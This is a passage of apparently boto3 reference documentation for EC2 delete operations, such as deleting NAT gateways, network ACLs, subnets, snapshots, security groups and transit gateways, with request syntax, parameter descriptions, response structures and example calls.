+ 'Route': { + 'DestinationCidrBlock': 'string', + 'LocalGatewayVirtualInterfaceGroupId': 'string', + 'Type': 'static'|'propagated', + 'State': 'pending'|'active'|'blackhole'|'deleting'|'deleted', + 'LocalGatewayRouteTableId': 'string', + 'LocalGatewayRouteTableArn': 'string', + 'OwnerId': 'string' + } +} + +**Response Structure** + +* _(dict) --_ + + * **Route** _(dict) --_ + + Information about the route. + + * **DestinationCidrBlock** _(string) --_ + + The CIDR block used for destination matches. + + * **LocalGatewayVirtualInterfaceGroupId** _(string) --_ + + The ID of the virtual interface group. + + * **Type** _(string) --_ + + The route type. + + * **State** _(string) --_ + + The state of the route. + + * **LocalGatewayRouteTableId** _(string) --_ + + The ID of the local gateway route table. + + * **LocalGatewayRouteTableArn** _(string) --_ + + The Amazon Resource Name (ARN) of the local gateway route table. + + * **OwnerId** _(string) --_ + + The AWS account ID that owns the local gateway route. + + +delete_local_gateway_route_table_vpc_association(kwargs_)definition") + +Deletes the specified association between a VPC and local gateway route table. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteLocalGatewayRouteTableVpcAssociation) + +**Request Syntax** + +response = client.delete_local_gateway_route_table_vpc_association( + LocalGatewayRouteTableVpcAssociationId='string', + DryRun=True|False +) + +Parameters + +* **LocalGatewayRouteTableVpcAssociationId** (_string_) -- + + **[REQUIRED]** + + The ID of the association. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'LocalGatewayRouteTableVpcAssociation': { + 'LocalGatewayRouteTableVpcAssociationId': 'string', + 'LocalGatewayRouteTableId': 'string', + 'LocalGatewayRouteTableArn': 'string', + 'LocalGatewayId': 'string', + 'VpcId': 'string', + 'OwnerId': 'string', + 'State': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + } +} + +**Response Structure** + +* _(dict) --_ + + * **LocalGatewayRouteTableVpcAssociation** _(dict) --_ + + Information about the association. + + * **LocalGatewayRouteTableVpcAssociationId** _(string) --_ + + The ID of the association. + + * **LocalGatewayRouteTableId** _(string) --_ + + The ID of the local gateway route table. + + * **LocalGatewayRouteTableArn** _(string) --_ + + The Amazon Resource Name (ARN) of the local gateway route table for the association. + + * **LocalGatewayId** _(string) --_ + + The ID of the local gateway. + + * **VpcId** _(string) --_ + + The ID of the VPC. + + * **OwnerId** _(string) --_ + + The AWS account ID that owns the local gateway route table for the association. + + * **State** _(string) --_ + + The state of the association. + + * **Tags** _(list) --_ + + The tags assigned to the association. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +delete_managed_prefix_list(kwargs_) + +Deletes the specified managed prefix list. You must first remove all references to the prefix list in your resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteManagedPrefixList) + +**Request Syntax** + +response = client.delete_managed_prefix_list( + DryRun=True|False, + PrefixListId='string' +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **PrefixListId** (_string_) -- + + **[REQUIRED]** + + The ID of the prefix list. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'PrefixList': { + 'PrefixListId': 'string', + 'AddressFamily': 'string', + 'State': 'create-in-progress'|'create-complete'|'create-failed'|'modify-in-progress'|'modify-complete'|'modify-failed'|'restore-in-progress'|'restore-complete'|'restore-failed'|'delete-in-progress'|'delete-complete'|'delete-failed', + 'StateMessage': 'string', + 'PrefixListArn': 'string', + 'PrefixListName': 'string', + 'MaxEntries': 123, + 'Version': 123, + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ], + 'OwnerId': 'string' + } +} + +**Response Structure** + +* _(dict) --_ + + * **PrefixList** _(dict) --_ + + Information about the prefix list. + + * **PrefixListId** _(string) --_ + + The ID of the prefix list. + + * **AddressFamily** _(string) --_ + + The IP address version. + + * **State** _(string) --_ + + The state of the prefix list. + + * **StateMessage** _(string) --_ + + The state message. + + * **PrefixListArn** _(string) --_ + + The Amazon Resource Name (ARN) for the prefix list. + + * **PrefixListName** _(string) --_ + + The name of the prefix list. + + * **MaxEntries** _(integer) --_ + + The maximum number of entries for the prefix list. + + * **Version** _(integer) --_ + + The version of the prefix list. + + * **Tags** _(list) --_ + + The tags for the prefix list. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **OwnerId** _(string) --_ + + The ID of the owner of the prefix list. + + +delete_nat_gateway(kwargs_) + +Deletes the specified NAT gateway. Deleting a NAT gateway disassociates its Elastic IP address, but does not release the address from your account. Deleting a NAT gateway does not delete any NAT gateway routes in your route tables. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteNatGateway) + +**Request Syntax** + +response = client.delete_nat_gateway( + DryRun=True|False, + NatGatewayId='string' +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **NatGatewayId** (_string_) -- + + **[REQUIRED]** + + The ID of the NAT gateway. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'NatGatewayId': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **NatGatewayId** _(string) --_ + + The ID of the NAT gateway. + + +**Examples** + +This example deletes the specified NAT gateway. + +response = client.delete_nat_gateway( + NatGatewayId='nat-04ae55e711cec5680', +) + +print(response) + +Expected Output: + +{ + 'NatGatewayId': 'nat-04ae55e711cec5680', + 'ResponseMetadata': { + '...': '...', + }, +} + +delete_network_acl(kwargs_) + +Deletes the specified network ACL. You can't delete the ACL if it's associated with any subnets. You can't delete the default network ACL. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteNetworkAcl) + +**Request Syntax** + +response = client.delete_network_acl( + DryRun=True|False, + NetworkAclId='string' +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **NetworkAclId** (_string_) -- + + **[REQUIRED]** + + The ID of the network ACL. + + +Returns + +None + +**Examples** + +This example deletes the specified network ACL. + +response = client.delete_network_acl( + NetworkAclId='acl-5fb85d36', +) + +print(response) + +Expected Output: + +{ + 'ResponseMetadata': { + '...': '...', + }, +} + +delete_network_acl_entry(kwargs_) + +Deletes the specified ingress or egress entry (rule) from the specified network ACL. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteNetworkAclEntry) + +**Request Syntax** + +response = client.delete_network_acl_entry( + DryRun=True|False, + Egress=True|False, + NetworkAclId='string', + RuleNumber=123 +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Egress** (_boolean_) -- + + **[REQUIRED]** + + Indicates whether the rule is an egress rule. + +* **NetworkAclId** (_string_) -- + + **[REQUIRED]** + + The ID of the network ACL. + +* **RuleNumber** (_integer_) -- + + **[REQUIRED]** + + The rule number of the entry to delete. + + +Returns + +None + +**Examples** + +This example deletes ingress rule number 100 from the specified network ACL. + +response = client.delete_network_acl_entry( + Egress=True, + NetworkAclId='acl-5fb85d36', + RuleNumber=100, +) + +print(response) + +Expected Output: + +{ + 'ResponseMetadata': { + '...': '...', + }, +} + +delete_network_insights_analysis(kwargs_) + +Deletes the specified network insights analysis. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteNetworkInsightsAnalysis) + +**Request Syntax** + +response = client.delete_network_insights_analysis( + DryRun=True|False, + NetworkInsightsAnalysisId='string' +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **NetworkInsightsAnalysisId** (_string_) -- + + **[REQUIRED]** + + The ID of the network insights analysis. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'NetworkInsightsAnalysisId': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **NetworkInsightsAnalysisId** _(string) --_ + + The ID of the network insights analysis. + + +delete_network_insights_path(kwargs_) + +Deletes the specified path. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteNetworkInsightsPath) + +**Request Syntax** + +response = client.delete_network_insights_path( + DryRun=True|False, + NetworkInsightsPathId='string' +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **NetworkInsightsPathId** (_string_) -- + + **[REQUIRED]** + + The ID of the path. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'NetworkInsightsPathId': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **NetworkInsightsPathId** _(string) --_ + + The ID of the path. + + +delete_network_interface(kwargs_) + +Deletes the specified network interface. You must detach the network interface before you can delete it. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteNetworkInterface) + +**Request Syntax** + +response = client.delete_network_interface( + DryRun=True|False, + NetworkInterfaceId='string' +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **NetworkInterfaceId** (_string_) -- + + **[REQUIRED]** + + The ID of the network interface. + + +Returns + +None + +**Examples** + +This example deletes the specified network interface. + +response = client.delete_network_interface( + NetworkInterfaceId='eni-e5aa89a3', +) + +print(response) + +Expected Output: + +{ + 'ResponseMetadata': { + '...': '...', + }, +} + +delete_network_interface_permission(kwargs_) + +Deletes a permission for a network interface. By default, you cannot delete the permission if the account for which you're removing the permission has attached the network interface to an instance. However, you can force delete the permission, regardless of any attachment. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteNetworkInterfacePermission) + +**Request Syntax** + +response = client.delete_network_interface_permission( + NetworkInterfacePermissionId='string', + Force=True|False, + DryRun=True|False +) + +Parameters + +* **NetworkInterfacePermissionId** (_string_) -- + + **[REQUIRED]** + + The ID of the network interface permission. + +* **Force** (_boolean_) -- Specify true to remove the permission even if the network interface is attached to an instance. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Return': True|False +} + +**Response Structure** + +* _(dict) --_ + + Contains the output for DeleteNetworkInterfacePermission. + + * **Return** _(boolean) --_ + + Returns true if the request succeeds, otherwise returns an error. + + +delete_placement_group(kwargs_) + +Deletes the specified placement group. You must terminate all instances in the placement group before you can delete the placement group. For more information, see [Placement groups](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/placement-groups.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeletePlacementGroup) + +**Request Syntax** + +response = client.delete_placement_group( + DryRun=True|False, + GroupName='string' +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **GroupName** (_string_) -- + + **[REQUIRED]** + + The name of the placement group. + + +Returns + +None + +**Examples** + +This example deletes the specified placement group. + +response = client.delete_placement_group( + GroupName='my-cluster', +) + +print(response) + +Expected Output: + +{ + 'ResponseMetadata': { + '...': '...', + }, +} + +delete_queued_reserved_instances(kwargs_) + +Deletes the queued purchases for the specified Reserved Instances. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteQueuedReservedInstances) + +**Request Syntax** + +response = client.delete_queued_reserved_instances( + DryRun=True|False, + ReservedInstancesIds=[ + 'string', + ] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **ReservedInstancesIds** (_list_) -- + + **[REQUIRED]** + + The IDs of the Reserved Instances. + + * _(string) --_ + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'SuccessfulQueuedPurchaseDeletions': [ + { + 'ReservedInstancesId': 'string' + }, + ], + 'FailedQueuedPurchaseDeletions': [ + { + 'Error': { + 'Code': 'reserved-instances-id-invalid'|'reserved-instances-not-in-queued-state'|'unexpected-error', + 'Message': 'string' + }, + 'ReservedInstancesId': 'string' + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **SuccessfulQueuedPurchaseDeletions** _(list) --_ + + Information about the queued purchases that were successfully deleted. + + * _(dict) --_ + + Describes a Reserved Instance whose queued purchase was successfully deleted. + + * **ReservedInstancesId** _(string) --_ + + The ID of the Reserved Instance. + + * **FailedQueuedPurchaseDeletions** _(list) --_ + + Information about the queued purchases that could not be deleted. + + * _(dict) --_ + + Describes a Reserved Instance whose queued purchase was not deleted. + + * **Error** _(dict) --_ + + The error. + + * **Code** _(string) --_ + + The error code. + + * **Message** _(string) --_ + + The error message. + + * **ReservedInstancesId** _(string) --_ + + The ID of the Reserved Instance. + + +delete_route(kwargs_) + +Deletes the specified route from the specified route table. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteRoute) + +**Request Syntax** + +response = client.delete_route( + DestinationCidrBlock='string', + DestinationIpv6CidrBlock='string', + DestinationPrefixListId='string', + DryRun=True|False, + RouteTableId='string' +) + +Parameters + +* **DestinationCidrBlock** (_string_) -- The IPv4 CIDR range for the route. The value you specify must match the CIDR for the route exactly. +* **DestinationIpv6CidrBlock** (_string_) -- The IPv6 CIDR range for the route. The value you specify must match the CIDR for the route exactly. +* **DestinationPrefixListId** (_string_) -- The ID of the prefix list for the route. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **RouteTableId** (_string_) -- + + **[REQUIRED]** + + The ID of the route table. + + +Returns + +None + +**Examples** + +This example deletes the specified route from the specified route table. + +response = client.delete_route( + DestinationCidrBlock='0.0.0.0/0', + RouteTableId='rtb-22574640', +) + +print(response) + +Expected Output: + +{ + 'ResponseMetadata': { + '...': '...', + }, +} + +delete_route_table(kwargs_) + +Deletes the specified route table. You must disassociate the route table from any subnets before you can delete it. You can't delete the main route table. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteRouteTable) + +**Request Syntax** + +response = client.delete_route_table( + DryRun=True|False, + RouteTableId='string' +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **RouteTableId** (_string_) -- + + **[REQUIRED]** + + The ID of the route table. + + +Returns + +None + +**Examples** + +This example deletes the specified route table. + +response = client.delete_route_table( + RouteTableId='rtb-22574640', +) + +print(response) + +Expected Output: + +{ + 'ResponseMetadata': { + '...': '...', + }, +} + +delete_security_group(kwargs_) + +Deletes a security group. + +If you attempt to delete a security group that is associated with an instance, or is referenced by another security group, the operation fails with InvalidGroup.InUse in EC2-Classic or DependencyViolation in EC2-VPC. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteSecurityGroup) + +**Request Syntax** + +response = client.delete_security_group( + GroupId='string', + GroupName='string', + DryRun=True|False +) + +Parameters + +* **GroupId** (_string_) -- The ID of the security group. Required for a nondefault VPC. +* **GroupName** (_string_) -- [EC2-Classic, default VPC] The name of the security group. You can specify either the security group name or the security group ID. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +**Examples** + +This example deletes the specified security group. + +response = client.delete_security_group( + GroupId='sg-903004f8', +) + +print(response) + +Expected Output: + +{ + 'ResponseMetadata': { + '...': '...', + }, +} + +delete_snapshot(kwargs_) + +Deletes the specified snapshot. + +When you make periodic snapshots of a volume, the snapshots are incremental, and only the blocks on the device that have changed since your last snapshot are saved in the new snapshot. When you delete a snapshot, only the data not needed for any other snapshot is removed. So regardless of which prior snapshots have been deleted, all active snapshots will have access to all the information needed to restore the volume. + +You cannot delete a snapshot of the root device of an EBS volume used by a registered AMI. You must first de-register the AMI before you can delete the snapshot. + +For more information, see [Deleting an Amazon EBS snapshot](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-deleting-snapshot.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteSnapshot) + +**Request Syntax** + +response = client.delete_snapshot( + SnapshotId='string', + DryRun=True|False +) + +Parameters + +* **SnapshotId** (_string_) -- + + **[REQUIRED]** + + The ID of the EBS snapshot. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +**Examples** + +This example deletes a snapshot with the snapshot ID of snap-1234567890abcdef0. If the command succeeds, no output is returned. + +response = client.delete_snapshot( + SnapshotId='snap-1234567890abcdef0', +) + +print(response) + +Expected Output: + +{ + 'ResponseMetadata': { + '...': '...', + }, +} + +delete_spot_datafeed_subscription(kwargs_) + +Deletes the data feed for Spot Instances. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteSpotDatafeedSubscription) + +**Request Syntax** + +response = client.delete_spot_datafeed_subscription( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +**Examples** + +This example deletes a Spot data feed subscription for the account. + +response = client.delete_spot_datafeed_subscription( +) + +print(response) + +Expected Output: + +{ + 'ResponseMetadata': { + '...': '...', + }, +} + +delete_subnet(kwargs_) + +Deletes the specified subnet. You must terminate all running instances in the subnet before you can delete the subnet. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteSubnet) + +**Request Syntax** + +response = client.delete_subnet( + SubnetId='string', + DryRun=True|False +) + +Parameters + +* **SubnetId** (_string_) -- + + **[REQUIRED]** + + The ID of the subnet. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +**Examples** + +This example deletes the specified subnet. + +response = client.delete_subnet( + SubnetId='subnet-9d4a7b6c', +) + +print(response) + +Expected Output: + +{ + 'ResponseMetadata': { + '...': '...', + }, +} + +delete_tags(kwargs_) + +Deletes the specified set of tags from the specified set of resources. + +To list the current tags, use DescribeTags . For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteTags) + +**Request Syntax** + +response = client.delete_tags( + DryRun=True|False, + Resources=[ + 'string', + ], + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Resources** (_list_) -- + + **[REQUIRED]** + + The IDs of the resources, separated by spaces. + + Constraints: Up to 1000 resource IDs. We recommend breaking up this request into smaller batches. + + * _(string) --_ +* **Tags** (_list_) -- + + The tags to delete. Specify a tag key and an optional tag value to delete specific tags. If you specify a tag key without a tag value, we delete any tag with this key regardless of its value. If you specify a tag key with an empty string as the tag value, we delete the tag only if its value is an empty string. + + If you omit this parameter, we delete all user-defined tags for the specified resources. We do not delete AWS-generated tags (tags that have the aws: prefix). + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Returns + +None + +**Examples** + +This example deletes the tag Stack=test from the specified image. + +response = client.delete_tags( + Resources=[ + 'ami-78a54011', + ], + Tags=[ + { + 'Key': 'Stack', + 'Value': 'test', + }, + ], +) + +print(response) + +Expected Output: + +{ + 'ResponseMetadata': { + '...': '...', + }, +} + +delete_traffic_mirror_filter(kwargs_) + +Deletes the specified Traffic Mirror filter. + +You cannot delete a Traffic Mirror filter that is in use by a Traffic Mirror session. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteTrafficMirrorFilter) + +**Request Syntax** + +response = client.delete_traffic_mirror_filter( + TrafficMirrorFilterId='string', + DryRun=True|False +) + +Parameters + +* **TrafficMirrorFilterId** (_string_) -- + + **[REQUIRED]** + + The ID of the Traffic Mirror filter. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TrafficMirrorFilterId': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **TrafficMirrorFilterId** _(string) --_ + + The ID of the Traffic Mirror filter. + + +delete_traffic_mirror_filter_rule(kwargs_) + +Deletes the specified Traffic Mirror rule. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteTrafficMirrorFilterRule) + +**Request Syntax** + +response = client.delete_traffic_mirror_filter_rule( + TrafficMirrorFilterRuleId='string', + DryRun=True|False +) + +Parameters + +* **TrafficMirrorFilterRuleId** (_string_) -- + + **[REQUIRED]** + + The ID of the Traffic Mirror rule. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TrafficMirrorFilterRuleId': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **TrafficMirrorFilterRuleId** _(string) --_ + + The ID of the deleted Traffic Mirror rule. + + +delete_traffic_mirror_session(kwargs_) + +Deletes the specified Traffic Mirror session. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteTrafficMirrorSession) + +**Request Syntax** + +response = client.delete_traffic_mirror_session( + TrafficMirrorSessionId='string', + DryRun=True|False +) + +Parameters + +* **TrafficMirrorSessionId** (_string_) -- + + **[REQUIRED]** + + The ID of the Traffic Mirror session. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TrafficMirrorSessionId': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **TrafficMirrorSessionId** _(string) --_ + + The ID of the deleted Traffic Mirror session. + + +delete_traffic_mirror_target(kwargs_) + +Deletes the specified Traffic Mirror target. + +You cannot delete a Traffic Mirror target that is in use by a Traffic Mirror session. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteTrafficMirrorTarget) + +**Request Syntax** + +response = client.delete_traffic_mirror_target( + TrafficMirrorTargetId='string', + DryRun=True|False +) + +Parameters + +* **TrafficMirrorTargetId** (_string_) -- + + **[REQUIRED]** + + The ID of the Traffic Mirror target. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TrafficMirrorTargetId': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **TrafficMirrorTargetId** _(string) --_ + + The ID of the deleted Traffic Mirror target. + + +delete_transit_gateway(kwargs_) + +Deletes the specified transit gateway. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteTransitGateway) + +**Request Syntax** + +response = client.delete_transit_gateway( + TransitGatewayId='string', + DryRun=True|False +) + +Parameters + +* **TransitGatewayId** (_string_) -- + + **[REQUIRED]** + + The ID of the transit gateway. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TransitGateway': { + 'TransitGatewayId': 'string', + 'TransitGatewayArn': 'string', + 'State': 'pending'|'available'|'modifying'|'deleting'|'deleted', + 'OwnerId': 'string', + 'Description': 'string', + 'CreationTime': datetime(2015, 1, 1), + 'Options': { + 'AmazonSideAsn': 123, + 'TransitGatewayCidrBlocks': [ + 'string', + ], + 'AutoAcceptSharedAttachments': 'enable'|'disable', + 'DefaultRouteTableAssociation': 'enable'|'disable', + 'AssociationDefaultRouteTableId': 'string', + 'DefaultRouteTablePropagation': 'enable'|'disable', + 'PropagationDefaultRouteTableId': 'string', + 'VpnEcmpSupport': 'enable'|'disable', + 'DnsSupport': 'enable'|'disable', + 'MulticastSupport': 'enable'|'disable' + }, + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + } +} + +**Response Structure** + +* _(dict) --_ + + * **TransitGateway** _(dict) --_ + + Information about the deleted transit gateway. + + * **TransitGatewayId** _(string) --_ + + The ID of the transit gateway. + + * **TransitGatewayArn** _(string) --_ + + The Amazon Resource Name (ARN) of the transit gateway. + + * **State** _(string) --_ + + The state of the transit gateway. + + * **OwnerId** _(string) --_ + + The ID of the AWS account ID that owns the transit gateway. + + * **Description** _(string) --_ + + The description of the transit gateway. + + * **CreationTime** _(datetime) --_ + + The creation time. + + * **Options** _(dict) --_ + + The transit gateway options. + + * **AmazonSideAsn** _(integer) --_ + + A private Autonomous System Number (ASN) for the Amazon side of a BGP session. The range is 64512 to 65534 for 16-bit ASNs and 4200000000 to 4294967294 for 32-bit ASNs. + + * **TransitGatewayCidrBlocks** _(list) --_ + + The transit gateway CIDR blocks. + + * _(string) --_ + * **AutoAcceptSharedAttachments** _(string) --_ + + Indicates whether attachment requests are automatically accepted. + + * **DefaultRouteTableAssociation** _(string) --_ + + Indicates whether resource attachments are automatically associated with the default association route table. + + * **AssociationDefaultRouteTableId** _(string) --_ + + The ID of the default association route table. + + * **DefaultRouteTablePropagation** _(string) --_ + + Indicates whether resource attachments automatically propagate routes to the default propagation route table. + + * **PropagationDefaultRouteTableId** _(string) --_ + + The ID of the default propagation route table. + + * **VpnEcmpSupport** _(string) --_ + + Indicates whether Equal Cost Multipath Protocol support is enabled. + + * **DnsSupport** _(string) --_ + + Indicates whether DNS support is enabled. + + * **MulticastSupport** _(string) --_ + + Indicates whether multicast is enabled on the transit gateway + + * **Tags** _(list) --_ + + The tags for the transit gateway. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +delete_transit_gateway_connect(kwargs_) + +Deletes the specified Connect attachment. You must first delete any Connect peers for the attachment. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteTransitGatewayConnect) + +**Request Syntax** + +response = client.delete_transit_gateway_connect( + TransitGatewayAttachmentId='string', + DryRun=True|False +) + +Parameters + +* **TransitGatewayAttachmentId** (_string_) -- + + **[REQUIRED]** + + The ID of the Connect attachment. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TransitGatewayConnect': { + 'TransitGatewayAttachmentId': 'string', + 'TransportTransitGatewayAttachmentId': 'string', + 'TransitGatewayId': 'string', + 'State': 'initiating'|'initiatingRequest'|'pendingAcceptance'|'rollingBack'|'pending'|'available'|'modifying'|'deleting'|'deleted'|'failed'|'rejected'|'rejecting'|'failing', + 'CreationTime': 